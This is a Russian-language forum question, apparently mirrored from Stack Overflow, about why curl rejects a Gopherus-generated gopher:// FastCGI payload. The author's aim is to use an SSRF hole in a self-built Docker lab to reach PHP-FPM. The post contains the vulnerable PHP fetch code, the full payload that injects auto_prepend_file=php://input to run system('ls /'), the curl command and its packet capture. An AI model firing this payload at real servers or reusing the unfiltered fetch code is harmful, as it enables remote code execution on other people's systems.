Код: Выделить всё
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['url'])) {
$url = trim($_POST['url']);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$result = curl_exec($ch);
< /code>
Я сопоставлял порт 80 в Docker, где веб -страница работает до порта 8085 на хосте и смог успешно получить к нему доступ, никаких проблем с этой частью сетевого соединения. /p>
Поскольку PHP-FPM в Docker прослушивается на порту 9000 из 127.0.0.1, я сейчас пытаюсь атаковать PHP-FPM на интрасете Docker через уязвимость на стороне сервера (SSRF) Хост (где я наметил веб -страницу в Docker), используя протокол Gopher для построения данных в формате FASTCGI. Полезная нагрузка атаки заключается в следующем (сгенерировано https://github.com/tarunkant/gopherus):
gopher://127.0.0.1:9000/\_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%0B%03%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1ESCRIPT_FILENAME/var/wwwroot/default/index.php%0D%01DOCUMENT_ROOT/%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
Поэтому я попытался сначала устранение неполадок, если есть проблема с поддержкой моего скручивания протокола Gopher?
Я использовал команду curl -v, чтобы увидеть, что суслика включено в возврат, и похоже, что мой curl поддерживает протокол суслика. Команда Curl к PHP-FPM, инициированному Access, команда для Curl Gopher: //127.0.0.1: 9000/123, в то же время с портом TCPDUMP Порт 9000 Локальный петлю , указывая на то, что мой скручивание полностью поддерживает протокол суслика, и это означает, что мой сгибатель полностью поддерживает протокол Gopher и способен инициировать доступ к PHP-FPM, работающему на порту 9000. < /p>
Затем, я Попытался получить доступ к полному коду атаки, используя Curl с командой < /p>
Код: Выделить всё
curl -v "gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%0B%03%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1ESCRIPT_FILENAME/var/wwwroot/default/index.php%0D%01DOCUMENT_ROOT/%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00"
Код: Выделить всё
* Trying 127.0.0.1:9000...
* Connected to 127.0.0.1 (127.0.0.1) port 9000 (#0)
* Closing connection 0
curl: (3) URL using bad/illegal format or missing URL
Код: Выделить всё
10:26:24.961141 IP localhost.36782 > localhost.9000: Flags [S], seq 4207458222, win 65495, options [mss 65495,sackOK,TS val 3105304826 ecr 0,nop,wscale 7], length 0
E..< .@.@.............#(.............0.........
..0.........
10:26:24.961154 IP localhost.9000 > localhost.36782: Flags [S.], seq 276791369, ack 4207458223, win 65483, options [mss 65495,sackOK,TS val 3105304826 ecr 3105304826,nop,wscale 7], length 0
E.. localhost.9000: Flags [F.], seq 1, ack 1, win 512, options [nop,nop,TS val 3105304827 ecr 3105304826], length 0
E..4 .@.@.............#(.......J.....(.....
..0...0.
10:26:24.963037 IP localhost.9000 > localhost.36782: Flags [.], ack 2, win 512, options [nop,nop,TS val 3105304828 ecr 3105304827], length 0
E..4..@.@...........#(.....J.........(.....
..0...0.
10:26:24.967882 IP localhost.9000 > localhost.36782: Flags [F.], seq 1, ack 2, win 512, options [nop,nop,TS val 3105304832 ecr 3105304827], length 0
E..4..@.@...........#(.....J.........(.....
..1...0.
10:26:24.967888 IP localhost.36782 > localhost.9000: Flags [.], ack 2, win 512, options [nop,nop,TS val 3105304832 ecr 3105304832], length 0
E..4..@.@.
Подробнее здесь: [url]https://stackoverflow.com/questions/79382707/a-problem-with-curl-parsing-during-an-attack-on-php-fpm-on-an-intranet-using-ssr[/url]
Мобильная версия